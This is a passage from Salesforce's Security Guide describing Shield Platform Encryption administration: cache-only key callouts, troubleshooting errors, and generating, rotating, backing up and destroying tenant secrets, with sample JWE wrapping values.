7. Generate an initialization vector for use as input to the data encryption key’s AES wrapping. Then encode it in base64url.
N2WVMbpAxipAtG9O

8. Wrap your data encryption key with your content encryption key.
a. Encode the JWE header as ASCII(BASE64URL(UTF8(JWE Protected Header))).
b. Reform authenticated encryption on the data encryption key with the AES GCM algorithm. Use the content encryption key as
the encryption key, the initialization vector (the bytes, not the base64URL encoded version), and the Additional Authenticated
Data value, requesting a 128-bit Authentication Tag output.
c. Encode the resulting ciphertext as BASE64URL(Ciphertext).
d. Encode the Authentication Tag as BASE64URL(Authentication Tag).
63wRVVKX0ZOxu8cKqN1kqN-7EDa_mnmk32DinS_zFo4

and
HC7Ev5lmsbTgwyGpeGH5Rw

9. Assemble your JWE as a compact serialization of all the preceding values. Concatenate values separated by a period.
eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00iLCJraWQiOiI5ODJjMzc1Yi1mNDZiLTQ0MjMtOGMy
ZC00ZDFhNjkxNTJhMGIifQ.l92QA-R7b6Gtjo0tG4GlylJti1-Pf-519YpStYOp28YToMxgUxPmx4NR_myvf
T24oBCWkh6hy_dqAL7JlVO449EglAB_i9GRdyVbTKnJQ1OiVKwWUQaZ9jVNxFFUYTWWZ-sVK4pUw0B3lHwWB
fpMsl4jf0exP5-5amiTZ5oP0rkW99ugLWJ_7XlyTuMIA6VTLSpL0YqChH1wQjo12TQaWG_tiTwL1SgRd3Yoh
uMVlmCdEmR2TfwTvryLPx4KbFK3Pv5ZSpSIyreFTh12DPpmhLEAVhCBZxR4-HMnZySSs4QorWagOaT8XPjPv
46m8mUATZSD4hab8v3Mq4H33CmwngZCJXX-sDHuax2JUejxNC8HT5p6sa_I2gQFMlBC2Sd4yBKyjlDQKcSsl
CVav4buG8hkOJXY69iW_zhztV3DoJJ90l-EvkMoHpw1llU9lFhJMUQRvvocfghs2kzy5QC8QQt4t4Wu3p7Iv
zeneL5I81QjQlDJmZhbLLorFHgcAs9_FMwnFYFrgsHP1_v3Iqy7zJJc60fCfDaxAF8Txj_LOeOMkCFl-9Pwr
ULWyRTLMI7CdZIm7jb8v9ALxCmDgqUi1yvEeBJhgMLezAWtxvGGkejc0BdsbWaPFXlI3Uj7C-Mw8LcmpSLKZ
yEnhj2x-3Vfv5hIVauC6ja1B6Z_UcqXKOc.N2WVMbpAxipAtG9O.63wRVVKX0ZOxu8cKqN1kqN-7EDa_mnmk
32DinS_zFo4.HC7Ev5lmsbTgwyGpeGH5Rw

For more detailed examples of this process, check out the sample Cache-Only Key Wrapper in Github. You can use either the utility in
this repository or another service of your choosing.

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Configure Your Cache-Only Key Callout Connection
Use a named credential to specify the endpoint for your callout, and identify the key that you want
to use to encrypt your data.

EDITIONS

1. From Setup, enter Named Credential in the Quick Find box, then select Named
Credential.

Available in: Enterprise,
Performance, Unlimited,
and Developer editions.
Requires purchasing
Salesforce Shield or Platform
Encryption.

Tip: A named credential provides an authenticated callout mechanism through which
Salesforce can fetch your key material. Because Salesforce whitelists named credentials,
they’re a secure and convenient channel for key material stored outside of Salesforce.
Learn more about named credentials, how to define a named credential, and how to
grant access to authentication settings for named credentials in Salesforce Help.
Create a named credential. Specify a BYOK-compatible certificate and an HTTPS endpoint.

3. From Setup, enter Platform Encryption in the Quick Find box and select Advanced
Settings.
4. Turn on Allow Cache-Only Keys with BYOK.
5. From Setup, enter Platform Encryption in the Quick Find box, then select Key
Management.
6. Choose a key type from the Tenant Secret Type dropdown.
7. Select Bring Your Own Key.
8. Select a BYOK-compatible certificate from the Choose Certificate dropdown.
9. Select Use a Cache-Only Key.
10. For Unique Key Identifier, enter your KID—the unique key identifier for your data encryption
key. Your identifier can be a number, a string (2018_data_key), or a UUID
(982c375b-f46b-4423-8c2d-4d1a69152a0b).
11. In the Named Credential dropdown, select the named credential associated with your key. You
can have multiple keys associated with each named credential.

177

Available in both Salesforce
Classic and Lightning
Experience.

USER PERMISSIONS
To create, edit, or delete
named credentials:
• Customize Application
To enable features on the
Advanced Settings page:
• Customize Application
And Modify All Data
To generate, destroy, export,
import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys

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Salesforce checks the connection to the endpoint specified by the named credential. If Salesforce can reach the endpoint, the key
specified for the Unique Key Identifier becomes the active key. If not, an error displays to help you troubleshoot the connection.
Cache-only key status is recorded as FETCHED on the Key Management page and in the API.
Tip: You can monitor key configuration callouts in the Setup Audit Trail. When a callout to an active or archived cache-only key
is successful, the Setup Audit Trail logs an Activated status. Individual callouts are not monitored in Setup Audit Trail.

Check Your Cache-Only Key Connection
Because your cache-only key material is stored outside of Salesforce, it’s important to maintain a
functional callout connection. Use the Callout Check page to monitor your connection and quickly
respond to key service interruptions that could prevent the service from fetching your keys.
The Cache-Only Key: Callout Check page is accessible after you enable the Cache-Only Key Service
in your org and make your first callout. Data presented as part of a callout check are never stored
in the system of record.
1. From Setup, enter Platform Encryption in the Quick Find box, then select Key
Management.
2. In the Actions column, next to the key material you want to check, click Details.
3. On the Cache-Only Key: Callout Check page, click Check.
Details about your callout connection display on the page. It can take a few moments for the
callout check to complete and display the results.

USER PERMISSIONS
To generate, destroy, export,
import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys

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4. Review the details about your callout connection. If your callout connection was unsuccessful, you see a descriptive error message
at the bottom of the results pane. Use this message to make the appropriate adjustments to your key service.

Destroy a Cache-Only Key
When you destroy a cache-only key, you’re destroying two things: the key in the cache, and the
callout connection to the key service.

EDITIONS

1. From Setup, enter Platform Encryption in the Quick Find box, then select Key
Management.

Available in: Enterprise,
Performance, Unlimited,
and Developer editions.
Requires purchasing
Salesforce Shield or Platform
Encryption.

2. Choose a key type from the Tenant Secret Type dropdown.
3. Click Destroy.
Your key material’s status is changed to Destroyed, and callouts to this key stop. Data encrypted
with this key material is masked with “?????” in the app.
Note: Your cache-only key is unique to your org and to the specific data to which it applies.
When you destroy a cache-only key, related data isn’t accessible unless you reactivate it and
make sure that Salesforce can fetch it.

Available in both Salesforce
Classic and Lightning
Experience.

USER PERMISSIONS
To generate, destroy, export,
import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys

Reactivate a Cache-Only Key
If you still have your named credential associated with a key that was destroyed in Salesforce, you
can reactivate a destroyed cache-only key from Setup. Cache-only keys can’t be reactivated
programmatically. Reactivating a destroyed key makes it the active key. Before you reactivate a
destroyed key, make sure that the corresponding key service connection is recovered.
1. From Setup, enter Platform Encryption in the Quick Find box, then select Key
Management.
2. Next to cache-only key you want to reactivate, click Activate.

USER PERMISSIONS
To generate, destroy, export,
import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys

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The Shield Key Management Service fetches the reactivated cache-only key from your key service, and uses it to access data that
was previously encrypted with it.
Note: You can sync your data to your active cache-only key just like you can with any other key material. When you rotate a
cache-only key, contact Salesforce to request the background encryption service.

Considerations for Cache-Only Keys
These considerations apply to all data that you encrypt using the Cache-Only Key Service.

EDITIONS

Retry Policy

If Salesforce can’t reach your external key service, the callout fails and your active cache-only key’s
status is set to Destroyed. This prevents excessive loads on both services. The Cache-Only Key Service
then periodically retries the callout to help you minimize down time. Retries occur once per minute
for five minutes, then once every five minutes for 24 hours. If the Cache-Only Key Service can
successfully complete a callout during this retry period, your cache-only key’s status is reset to
Active.
At any point during a retry period, you can activate your key material through Setup or the API
pending remote key service availability. If you reactivate your key material during the retry period,
all retry attempts stop.
The RemoteKeyCalloutEvent object captures every callout to your key service. You can subscribe
to this event with after insert Apex triggers, and set up real-time alerts that notify you when a callout
fails.

Available in both Salesforce
Classic and Lightning
Experience.

401 HTTP Responses
In the event of a 401 HTTP response, Salesforce automatically refreshes any OAuth token associated with your named credential, and
retries the request.

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Einstein Analytics
Backups of Einstein Analytics data are encrypted with your Shield Platform Encryption keys. If you encrypt data in Einstein Analytics
datasets with a cache-only key, make sure that the Analytics cache-only key is in the same state as your Data in Salesforce-type cache-only
key.

Setup Audit Trail
Setup Audit Trail records activated cache-only key versions differently depending on whether a cache-only key with the Active status
exists when you reactivate the key.
However, if you reactivate a destroyed key and there is already another key with the Active status, the Setup Audit Trail shows the
reactivated key with an updated version number.

Cache-Only Keys and Key Types
Use a separate cache-only key for each type of data you want to encrypt. You can’t use a cache-only key with multiple key types. For
example, you can’t use a cache-only key to encrypt both search indexes and Einstein Analytics data.

Service Protections
To protect against Shield KMS interruptions and ensure smooth encryption and decryption processes, you can have up to 10 active and
archived cache-only keys of each type.
If you reach your key limit, destroy an existing key so that you can create, upload, reactivate, rearchive, or create a callout to another one.
Remember to synchronize your data with an active key before destroying key material.

Troubleshoot Cache-Only Keys
One or more of these frequently asked questions may help you troubleshoot any problems that
arise.

EDITIONS

The callout to my key service isn’t going through. What can I do?

Callouts can fail for various reasons. Review the error message that displays and follow these
tips for resolving the problem.
Table 2: Cache-Only Key Service Errors
Error

Tips for Fixing the Problem

The remote key service returned an HTTP error: To find out what went wrong, review the HTTP
{000}. A successful HTTP response will return response code.
a 200 code.
The remote key service returned an
unsupported HTTP response code: {000}. A
successful HTTP response will return a 200
code.

To find out what went wrong, review the HTTP
response code.

The remote key service returned a content
encryption key in the JWE that couldn’t be
decrypted with the certificate’s private key.
Either the JWE is corrupted, or the content

Check that you set up your named credential
properly and are using the correct
BYOK-compatible certificate.

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Error

Tips for Fixing the Problem

encryption key is encrypted with a different key.
The content encryption key couldn’t decrypt the data encryption Check that you set up your named credential properly and are
key that was returned in the remote key service’s JWE. The data using the correct BYOK-compatible certificate. Named credentials
encryption key is either malformed, or encrypted with a different must call out to an HTTPS endpoint.
content encryption key.
We can’t parse the JSON returned by your remote key service.
Contact your remote key service for help.

Contact your remote key service.

The remote key service returned a malformed JWE token that
can’t be decoded. Contact your remote key service for help.

Contact your remote key service.

The remote key service callout returned an empty response.
Contact your remote key service for help.

Contact your remote key service.

The remote key service callout took too long and timed out. Try If your key service is unavailable after multiple callout attempts,
again.
contact your remote key service.
The remote key service callout failed and returned an error: {000}. Contact your remote key service.
The remote key service returned JSON with an incorrect key ID. Check that you set up your named credential properly and are
Expected: {valid keyID}. Actual: {invalid keyID}.
using the correct BYOK-compatible certificate.
The remote key service returned a JWE header with an incorrect Check that you set up your named credential properly and are
key ID. Expected: {valid keyID}. Actual: {invalid keyID}.
using the correct BYOK-compatible certificate.
The remote key service returned a JWE header that specified an The algorithm for encrypting the content encryption key in your
unsupported algorithm (alg): {algorithm}.
JWE header must be in RSA-OAEP format.
The remote key service returned a JWE header that specified an The algorithm for encrypting the data encryption key in your
unsupported encryption algorithm (enc): {your enc}.
JWE header must be in A256GCM format.
Data encryption keys encoded in a JWE must be 32 bytes. Yours Make sure that your data encryption key is 32 bytes.
is {value} bytes.
Your JWE header must use alg, enc, and kid parameters, but no Remove the unsupported parameters from your JWE header.
others. Found: {parameter}.
Authentication with the remote key service failed with the
following error: {error}.

Check the authentication settings for your chosen named
credential.

The following key service errors can prevent the callout from completing. If you see errors related to these problems, contact your
key service administrator for help.
• The JWE is corrupt or malformed.
• The data encryption key is malformed.
• The key service returned a malformed JWE token.
• The key service returned an empty response.
For uniform resource use, Salesforce limits the amount of time for each key service callout to 3 seconds. If the callout takes more
than the allotted time, Salesforce fails the callout with a timeout error. Check that your key service is available. Make sure that your
named credential references the correct endpoint—check the URL, including the IP address.

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Can I execute a remote callout in Apex?
Yes. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your
code doesn’t have to. To reference a named credential from a callout definition, use the named credential URL. A named credential
URL contains the scheme callout, the name of the named credential, and an optional path. For example:
callout:My_Named_Credential/some_path.
See Named Credentials as Callout Endpoints in the Apex Developer Guide.
Can I monitor my callout history?
If you want to review or track cache-only key events, use the RemoteKeyCalloutEvent standard object. Either use the
describeSObjects() call to view event information, or an after insert Apex trigger to perform custom actions after each
callout. For example, you can write a trigger that stores RemoteKeyCallout events in a custom object. When you store
RemoteKeyCallout events in a custom object, you can monitor your callout history. See the RemoteKeyCalloutEvent entry in
the SOAP API Developer Guide for more information.
The Setup Audit Trail tracks changes in key material state and named credential settings. Callout history isn’t recorded in log files.
When I try to access data encrypted with a cache-only key, I see “?????” instead of my data. Why?
Masking means one of two things. Either the connection to your key service is broken and we can’t fetch your key, or the data is
encrypted with a destroyed key. Check that your key service is available and that your named credential references the correct
endpoint. If any key versions are marked as Destroyed as a result of a key service failure, recover the connection and manually activate
the key version.
Do I have to make a new named credential every time I rotate a key?
Nope. You can use a named credential with multiple keys. As long as you host your key material at the endpoint specified in an
existing named credential, you’re all set. When you rotate your key material, change the key ID in the Unique Key Identifier field.
Double-check that your new key is stored at the specified endpoint URL in your named credential.
I’m still having problems with my key. Who should I talk to?
If you still have questions, contact your account executive or Customer Success manager. They’ll put you in touch with a support
team specific to this feature.

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Manage Shield Platform Encryption
To provide Shield Platform Encryption for your organization, contact your Salesforce account
executive. They’ll help you provision the correct license so you can get started on creating your
own unique tenant secret.
Assign the Manage Encryption Keys, Manage Certificates, and Customize Application permissions
to people you trust to manage tenant secrets and certificates. Users with the Manage Encryption
Keys permission can generate, export, import, and destroy organization-specific keys. It's a good
idea to monitor the key management activities of these users regularly with the setup audit trail.
Users with both Manage Certificates and Manage Encryption Keys permissions can manage
certificates and tenant secrets with the Shield Platform Encryption Bring Your Own Key (BYOK)
service. You can also monitor these users’ key and certificate management activities with the setup
audit trail.
Authorized developers can generate, rotate, export, destroy, and reimport tenant secrets by coding
a call to the TenantSecret object in the Salesforce API.
IN THIS SECTION:

USER PERMISSIONS

To manage tenant secrets:
• Manage Encryption Keys

Rotate Your Encryption Tenant Secrets
You control the life cycle of your data encryption keys by controlling the life cycle of your tenant secrets. It’s recommended to
regularly generate a new tenant secret and archive the previously active one.
Back Up Your Tenant Secret
Your tenant secret is unique to your organization and to the specific data to which it applies. Salesforce recommends that you export
your secret to ensure continued data access in cases where you need to gain access to the related data again.
Destroy A Tenant Secret
Only destroy tenant secrets in extreme cases where access to related data is no longer needed. Your tenant secret is unique to your
organization and to the specific data to which it applies. Once you destroy a tenant secret, related data is not accessible unless you
previously exported the key and then import the key back into Salesforce.
Disable Encryption on Fields
At some point, you may need to disable Shield Platform Encryption for fields, files, or both. You can turn field encryption on or off
individually, but file encryption is all or nothing.
Require Two-Factor Authentication for Key Management
Two-factor authentication is a powerful tool for securing access to data and resources. You can require two-factor authentication
for key management tasks like generating, rotating, or uploading key material and certificates.
How Shield Platform Encryption Works
Shield Platform Encryption relies on a unique tenant secret that you control and a master secret that's maintained by Salesforce. We
combine these secrets to create your unique data encryption key. We use that key to encrypt data that your users put into Salesforce,
and to decrypt data when your authorized users need it.

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Generate a Tenant Secret
You can have Salesforce generate a unique tenant secret for your organization, or you can generate
your own tenant secret using your own external resources. In either case, you manage your own
tenant secret: you can rotate it, archive it, and designate other users to share responsibility for it.
When you generate a new tenant secret, any new data is encrypted using this key. However, existing
sensitive data remains encrypted using previous keys. In this situation, we strongly recommend
re-encrypting these fields using the latest key. Contact Salesforce for help with this.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the
difference?
IN THIS SECTION:
Generate a Tenant Secret with Salesforce
Salesforce makes it easy to generate a unique tenant secret from the Setup menu.
Manage Tenant Secrets by Type
Tenant secret types allow you to specify which kind of data you want to encrypt with a tenant
secret. You can apply different key rotation cycles or key destruction policies to tenant secrets
that encrypt different kinds of data. You can apply a tenant secret to search index files or other
data stored in tenant secret.

USER PERMISSIONS
To manage tenant secrets:
• Manage Encryption Keys

Generate Your Own Tenant Secret (BYOK)
When you supply your own tenant secret, you get the benefits of built-in Salesforce Shield
Platform Encryption plus the extra assurance that comes from exclusively managing your tenant secret.

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Generate a Tenant Secret with Salesforce
Salesforce makes it easy to generate a unique tenant secret from the Setup menu.
Only authorized users can generate tenant secrets from the Platform Encryption page. Ask your
Salesforce admin to assign you the Manage Encryption Keys permission.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key
Management.
2. In the Choose Tenant Secret Type dropdown list, choose a data type.
3. Click Generate Tenant Secret.
How often you can generate a tenant secret depends on the tenant secret type.
• You can generate tenant secrets for the Data in Salesforce type once every 24 hours in
production orgs, and once every 4 hours in Sandbox orgs.
• You can generate tenant secrets for the Search Index type once every 7 days.
Note: You can have up to 50 active and archived tenant secrets of each type. For example,
you can have one active and 49 archived Data in Salesforce tenant secrets, and the same
number of Analytics tenant secrets. This limit includes Salesforce-generated and
customer-supplied key material.
If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating
a callout to another one. Before destroying a key, synchronize the data it encrypts with
an active key.

USER PERMISSIONS
To manage tenant secrets:
• Manage Encryption Keys

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

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Manage Tenant Secrets by Type
Tenant secret types allow you to specify which kind of data you want to encrypt with a tenant
secret. You can apply different key rotation cycles or key destruction policies to tenant secrets that
encrypt different kinds of data. You can apply a tenant secret to search index files or other data
stored in tenant secret.
Tenant secrets are categorized according to the kind of data they encrypt.
Data in Salesforce
Encrypts data using the probabilistic encryption scheme, including data in fields, attachments,
and files other than search index files.
Data in Salesforce (Deterministic)
Encrypts data using the deterministic encryption scheme, including data in fields, attachments,
and files other than search index files.

EDITIONS
Available as an add-on
subscription in: Enterprise,
Performance, and
Unlimited editions. Requires
purchasing Salesforce
Shield. Available in
Developer Edition at no
charge for orgs created in
Summer ’15 and later.

Search Index
Encrypts search index files.

Available in both Salesforce
Classic and Lightning
Experience.

Analytics
Encrypts Einstein Analytics data.

USER PERMISSIONS

Event Bus (Developer Preview)
Encrypts data changes and the corresponding change event that contains them.

To manage tenant secrets:
• Manage Certificates

Note:

AND

• Tenant secrets that were generated or uploaded before the Spring ’17 release are
categorized as the Data in Salesforce type.

Manage Encryption Keys

• You can have up to 50 active and archived tenant secrets of each type. For example, you
can have one active and 49 archived Data in Salesforce tenant secrets, and the same
number of Analytics tenant secrets. This limit includes Salesforce-generated and
customer-supplied key material.
If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating
a callout to another one. Before destroying a key, synchronize the data it encrypts with
an active key.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. In the Choose Tenant Secret Type dropdown list, choose a data type.
The Key Management page displays all tenant secrets of each data type. If you generate or upload a tenant secret while viewing
tenant secrets of a particular type, it becomes the active tenant secret for that data.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

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Generate Your Own Tenant Secret (BYOK)
When you supply your own tenant secret, you get the benefits of built-in Salesforce Shield Platform
Encryption plus the extra assurance that comes from exclusively managing your tenant secret.

EDITIONS

Controlling your own tenant secret entails generating a BYOK-compatible certificate, using that
certificate to encrypt and secure your self-generated tenant secret, then granting the Salesforce
Shield Platform Encryption key management machinery access to your tenant secret.

IN THIS SECTION:
1. Generate a BYOK-Compatible Certificate
To encrypt customer-supplied key material, use Salesforce to generate a 4096-bit RSA certificate.
You can generate a self-signed or certificate-authority (CA) signed certificate. Each
BYOK-compatible certificate’s private key is encrypted with a derived, org-specific tenant secret
key.
2. Generate and Wrap Your Tenant Secret
Generate a random number as your tenant secret. Then calculate an SHA256 hash of the secret,
and encrypt it with the public key from the certificate you generated.
3. Upload Your Tenant Secret
After you have your tenant secret, upload it to Salesforce. The Shield Key Management Service
(KMS) uses your tenant secret to derive your org-specific data encryption key.
4. Opt-Out of Key Derivation with BYOK
If you don’t want Salesforce to derive a data encryption key for you, you can opt out of key
derivation and upload your own final data encryption key. Opting out gives you even more
control of the key material used to encrypt and decrypt your data.

188

Available in both Salesforce
Classic and Lightning
Experience.

USER PERMISSIONS
To manage tenant secrets:
• Manage Encryption Keys
AND
Manage Certificates

Salesforce Security Guide

Manage Shield Platform Encryption

Generate a BYOK-Compatible Certificate
To encrypt customer-supplied key material, use Salesforce to generate a 4096-bit RSA certificate.
You can generate a self-signed or certificate-authority (CA) signed certificate. Each BYOK-compatible
certificate’s private key is encrypted with a derived, org-specific tenant secret key.
To create a self-signed certificate:
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key
Management.
2. Click Bring Your Own Key.
3. Click Create Self-Signed Certificate.
4. Enter a unique name for your certificate in the Label field. The Unique Name field automatically
assigns a name based on what you enter in the Label field.
The Exportable Private Key (1), Key Size (2), and Use Platform Encryption (3) settings are pre-set.
These settings ensure that your self-signed certificate is compatible with Salesforce Shield
Platform Encryption.

USER PERMISSIONS
To generate, destroy, export,
import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys
To manage certificates:
• Manage Certificates

5. When the Certificate and Key Detail page appears, click Download Certificate.
If you’re not sure whether a self-signed or CA-signed certificate is right for you, consult your organization’s security policy. See
Certificates and Keys in Salesforce Help for more about what each option implies.
To create a CA-signed certificate, follow the instructions in the Generate a Certificate Signed By a Certificate Authority topic in
Salesforce Help. Remember to manually change the Exportable Private Key, Key Size, and Platform Encryption settings to
ensure that your certificate is BYOK-compatible.

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Generate and Wrap Your Tenant Secret
Generate a random number as your tenant secret. Then calculate an SHA256 hash of the secret,
and encrypt it with the public key from the certificate you generated.

EDITIONS

1. Generate a 256-bit tenant secret using the method of your choice.

You can generate your tenant secret in one of 2 ways:
• Use your own on-premises resources to generate a tenant secret programmatically, using
an open source library such as Bouncy Castle or OpenSSL.
Tip: We've provided a script on page 199 that may be useful as a guide to the process.
• Use a key brokering partner that can generate, secure, and share access to your tenant
secret.
2. Wrap your tenant secret with the public key from the BYOK-compatible certificate you generated.
Specify the OAEP padding scheme. Make sure the resulting encrypted tenant secret and hashed
tenant secret files are encoded using base64.

Available in both Salesforce
Classic and Lightning
Experience.

3. Encode this encrypted tenant secret to base64.

USER PERMISSIONS

4. Calculate an SHA-256 hash of the plaintext tenant secret.

To manage tenant secrets:
• Manage Encryption Keys

5. Encode the SHA-256 hash of the plaintext tenant secret to base64.

AND
Manage Certificates

Upload Your Tenant Secret
After you have your tenant secret, upload it to Salesforce. The Shield Key Management Service
(KMS) uses your tenant secret to derive your org-specific data encryption key.

EDITIONS

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key
Management.

2. Click Bring Your Own Key.
3. In the Upload Tenant Secret section, attach both the encrypted key material and the hashed
plaintext key material. Click Upload.

Available in both Salesforce
Classic and Lightning
Experience.

USER PERMISSIONS

This tenant secret automatically becomes the active tenant secret.

To manage key material:
• Manage Encryption Keys
AND
Manage Certificates

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Your tenant secret is now ready to be used for key derivation. From here on, the Shield KMS uses your tenant secret to derive an
org-specific data encryption key. The app server then uses this key to encrypt and decrypt your users’ data.
If you don’t want Salesforce to derive a data encryption key for you, you can opt out of key derivation and upload your own final
data encryption key. For more information, see “Opt-Out of Key Derivation with BYOK” in Salesforce Help.
Note: You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49
archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes
Salesforce-generated and customer-supplied key material.
If you reach the limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before
destroying a key, synchronize the data that it encrypts with an active key.
4. Export your tenant secret, and back it up as prescribed in your organization’s security policy.
To restore a destroyed tenant secret, reimport it. The exported tenant secret is different from the tenant secret you uploaded. It’s
encrypted with a different key and has additional metadata embedded in it. See Back Up Your Tenant Secret in Salesforce Help.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Opt-Out of Key Derivation with BYOK
If you don’t want Salesforce to derive a data encryption key for you, you can opt out of key derivation
and upload your own final data encryption key. Opting out gives you even more control of the key
material used to encrypt and decrypt your data.
Generate your customer-supplied data encryption key using a method of your choice. Then calculate
an SHA256 hash of the key, and encrypt it with the public key from a BYOK-compatible certificate.
See Upload Your Tenant Secret for details about how to prepare customer-supplied key material.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Advanced Settings.
2. Enable Allow BYOK to Opt-Out of Key Derivation.
You can now opt out of key derivation when you upload key material.
3. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key
Management.
4. Click Bring Your Own Key.
5. Uncheck Use Salesforce key derivation.

USER PERMISSIONS
Generate, destroy, export,
import, and upload tenant
secrets and
customer-supplied key
material:
• Manage Encryption Keys

6. In the Upload Tenant Secret section, attach both your encrypted data encryption key and your
hashed plaintext data encryption key.
7. Click Upload.
This data encryption key automatically becomes the active key.

191

Enable features on the
Advanced Settings page
• Customize Application
AND
Modify All Data

Salesforce Security Guide

Manage Shield Platform Encryption

From now on, the Shield Key Management Service (KMS) skips the derivation process and uses your data encryption key to directly
encrypt and decrypt your data. You can review the derivation status of all key material on the Key Management page.
8. Export your data encryption key and back it up as prescribed in your organization’s security policy.
To restore your data encryption key, reimport it. The exported data encryption key is different from the data encryption key you
uploaded. It is encrypted with a different key and has additional metadata embedded in it. See Back Up Your Tenant Secret in
Salesforce Help.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Rotate Your Encryption Tenant Secrets
You control the life cycle of your data encryption keys by controlling the life cycle of your tenant
secrets. It’s recommended to regularly generate a new tenant secret and archive the previously
active one.
Consult your organization’s security policies to decide how often to rotate your tenant secrets. You
can rotate a tenant secret once every 24 hours in production orgs and every 4 hours in sandbox
environments.
The key derivation function uses a master secret, which is rotated with each major Salesforce release.
Master secret rotation doesn’t impact your encryption keys or your encrypted data until you rotate
your tenant secret.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key
Management.
2. From the Choose Tenant Secret Type dropdown, choose a data type.
3. Check the status of the data type’s tenant secrets. Existing tenant secrets are listed as active,
archived, or destroyed.
ACTIVE
Can be used to encrypt and decrypt new or existing data.
ARCHIVED
Can’t encrypt new data. Can be used to decrypt data previously encrypted with this key
when it was active.
DESTROYED
Can’t encrypt or decrypt data. Data encrypted with this key when it was active can no longer
be decrypted. Files and attachments encrypted with this key can no longer be downloaded.

USER PERMISSIONS
To generate, destroy, export,
import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys

4. Click Generate New Tenant Secret or Bring Your Own Key. If uploading a customer-supplied tenant secret, upload your encrypted
tenant secret and tenant secret hash.

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Note: You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49
archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes
Salesforce-generated and customer-supplied key material.
If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before
destroying a key, synchronize the data it encrypts with an active key.
5. If you want to re-encrypt field values with your active key material, contact Salesforce Customer Support. We’ll help you encrypt
existing data in the background to ensure data alignment with your latest encryption policy and key material configuration.
Warning: For clean and consistent results, we recommend that you contact Salesforce Customer Support for help reencrypting
your data. You can apply your active key material to existing records by editing them through Setup, or programmatically
through the API. Editing a record triggers the encryption service to encrypt the existing data again using the newest key
material. This update changes the record’s timestamp, and the update is recorded in the field history or Feed History. However,
the field history in the History related list and Feed History aren’t reencrypted with the new key material.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Back Up Your Tenant Secret
Your tenant secret is unique to your organization and to the specific data to which it applies.
Salesforce recommends that you export your secret to ensure continued data access in cases where
you need to gain access to the related data again.
1. In Setup, use the Quick Find box to find the Platform Encryption setup page.
2. In the table that lists your keys, find the tenant secret you want and click Export.
3. Confirm your choice in the warning box, then save your exported file.
The file name is tenant-secret-org--ver-.txt. For example,
tenant-secret-org-00DD00000007eTR-ver-1.txt.
4. Note the specific version you’re exporting, and give the exported file a meaningful name. Store
the file in a safe location in case you need to import it back into your organization.
Note: Your exported tenant secret is itself encrypted.
5. To import your tenant secret again, click Import > Choose File and select your file. Make sure
you’re importing the correct version of the tenant secret.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the
difference?

193

USER PERMISSIONS
To generate, destroy, export,
import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys

Salesforce Security Guide

Manage Shield Platform Encryption

Destroy A Tenant Secret
Only destroy tenant secrets in extreme cases where access to related data is no longer needed.
Your tenant secret is unique to your organization and to the specific data to which it applies. Once
you destroy a tenant secret, related data is not accessible unless you previously exported the key
and then import the key back into Salesforce.
You are solely responsible for making sure your data and tenant secrets are backed up and stored
in a safe place. Salesforce can’t help you with deleted, destroyed, or misplaced tenant secrets.
1. In Setup, use the Quick Find box to find the Platform Encryption setup page.
2. In the table that lists your tenant secrets, go to the row that contains the one you want to
destroy and click Destroy.
3. A warning box appears. Type in the text as shown and select the checkbox acknowledging that
you’re destroying a tenant secret, then click Destroy.
File previews and content that was already cached in the user’s browser may still be visible in
cleartext after you destroy the key that encrypted that content, until the user logs in again.
If you create a sandbox organization from your production organization and then destroy the tenant
secret in your sandbox organization, the tenant secret still exists in the production organization.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the
difference?

194

USER PERMISSIONS
To generate, destroy, export,
import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys

Salesforce Security Guide

Manage Shield Platform Encryption

Disable Encryption on Fields
At some point, you may need to disable Shield Platform Encryption for fields, files, or both. You can
turn field encryption on or off individually, but file encryption is all or nothing.

EDITIONS

When you turn off Shield Platform Encryption for a field, most encrypted data is automatically
mass-decrypted. The decryption starts automatically after you disable encryption for specific fields
and save your changes. When data is decrypted, any functionality that was limited or unavailable
when the data was encrypted is also restored. Salesforce notifies you by email when the decryption
process is complete.

Long text area and rich text area field types can’t be automatically decrypted. If you decrypt data
encrypted with a destroyed key, that data can’t be mass-decrypted.
Note: If you disable Shield Platform Encryption and can’t access data in fields that were
previously encrypted, contact Salesforce for help.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Policy.
2. Click Encrypt Fields, then click Edit.
3. Deselect the fields you want to stop encrypting, then click Save.
Users can see data in these fields.
4. To disable encryption for files or Chatter, deselect those features from the Encryption Policy
page and click Save.
The functionality that was limited or changed by Platform Encryption is restored for your data after
it’s decrypted.

